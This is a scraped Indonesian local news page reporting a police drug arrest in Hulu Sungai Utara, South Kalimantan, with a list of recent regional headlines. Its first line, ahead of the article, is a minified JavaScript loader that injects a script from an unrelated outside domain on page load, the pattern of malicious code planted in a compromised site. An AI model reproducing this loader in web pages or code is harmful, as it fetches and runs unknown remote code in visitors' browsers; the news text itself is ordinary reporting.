(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Polres HSU Ringkus Seorang Budak Sabu Asal Desa Sungai Luang Hilir Babirik


KANALKALIMANTAN.COM, AMUNTAI – Satuan Reserse Narkoba (Satres Narkoba) Polres Hulu Sungai Utara (HSU) berhasil meringkus seorang pengguna narkoba dengan barang bukti sabu 0,42 gram atau berat bersih 0,23 gram.

Pria yang berhasil diringkus tersebut berinisial AE (39), warga Desa Sungai Luang Hilir RT01, Kecamatan Babirik, Kabupaten HSU.

Kasat Narkoba Polres HSU Iptu Siswadi mengungkapkan kronologi penangkapan AE bermula dari informasi masyarakat akan adanya peredaran sabu di Desa Sungai Luang Hilir.

“Membentuk tim untuk melakukan upaya penyelidikan,” terang Iptu Siswadi, kepada kanalkalimanatan.com, Kamis (10/3/2022).

 

Baca juga : Banjarbaru Ibu Kota Kalsel, Lahan Pertanian Rawan Alih Fungsi, Emi Lasari: Masyarakat Petani Harus Dilindungi

Merespons laporan tersebut, anggota lalu melakukan penyelidikan terhadap terlapor dan sekitar pukul 21.40 Wita.

Sesaat tiba di rumah AE, seketika itu rumah tersangka dikepung dari samping kanan maupun kiri.

“Salah satu anggota kita mengetuk pintu rumah tersangka, pelaku rupanya curiga dan ada membuang benda mencurigakan dengan tangan kanan ke arah jendela. AE berusaha lari ke belakang rumah, tapi berhasil diamankan di dapur, kemudian penggeledahan disaksikan oleh Ketua RT setempat,” jelasnya.

Alhasil dari penggeledahan di sekitar rumah tersangka ditemukan 1 buah plastik piper klip, di dalamnya terdapat narkotika jenis sabu.

“Selain itu telah ada juga diamankan barang bukti lainnya yaitu sebuah HP merek Nokia warna hitam lengkap dengan sim card, serta uang tunai sebesar Rp330.000,” ungkapnya.

Baca juga : Ingin Vaksin Dosis Kedua di Sekolah, Anak Malah Terdata Vaksin di Kabupaten Tetangga

Saat dilakukan interogasi, akhirnya tersangka mengakui bahwa satu paket barang haram tersebut miliknya.

Atas temuan tersebut tersangka dan barang bukti dibawa ke kantor Satres Narkoba Polres HSU untuk dilakukan penyidikan dan pengembangan lebih lanjut terkait asal usul barang.

Tersangka penyalahgunaan narkoba itu dikenakan Pasal 112 ayat (1) subsider pasal 127 ayat UU RI No. 35 tahun 2009 tentang Narkotika karena tanpa hak atau melawan hukum memiliki, menyimpan, menguasai, atau menyediakan Narkotika Golongan I bukan tanaman dipidana dengan pidana penjara paling singkat 4 tahun dan paling lama 12 tahun. (kanalkalimantan.com/dew)

Reporter : dew
Editor : cell


Desy Arfianty

Recent Posts

Pj Bupati Kapuas Erlin Hardi ke Desa Tumbang Mangkutup

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi bersilaturahmi dengan masyarakat Desa Tumbang… Read More

3 jam ago

Satgas TMMD Beri Penyuluhan Pertanian dan Perikanan di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Setelah program non fisik sosialisasi PHBS (Perilaku Hidup bersih Sehat) dan masalah… Read More

3 jam ago

Banjarbaru Posisi Kedua Klasemen Sementara Popda Kalsel 2024

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah cabang olahraga (cabor) unggulan membawa kontingen Kota Banjarbaru bertengger di posisi… Read More

6 jam ago

Hasnur Resmi Lamar Partai Golkar, Mencari ‘Pintu’ Koalisi Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hasnuryadi Sulaiman untuk maju pada kontestasi Pemilihan Gubernur dan Wakil Gubernur… Read More

8 jam ago

Pasti Maju Pilwali Banjarbaru, Ovie Simpan Nama Pasangan

KANALKALIMANTAN.COM, BANJARBARU - Aditya Mufti Ariffin memastikan akan kembali berkontestasi dalam Pemilihan Kepala Daerah (Pilkada)… Read More

9 jam ago

Soal Caleg Terpilih Mundur atau Tidak Mundur Jika Maju Pilkada, Begini Penjelasan KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Anggota Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel), Fahmi Failasopa menegaskan… Read More

11 jam ago

This website uses cookies.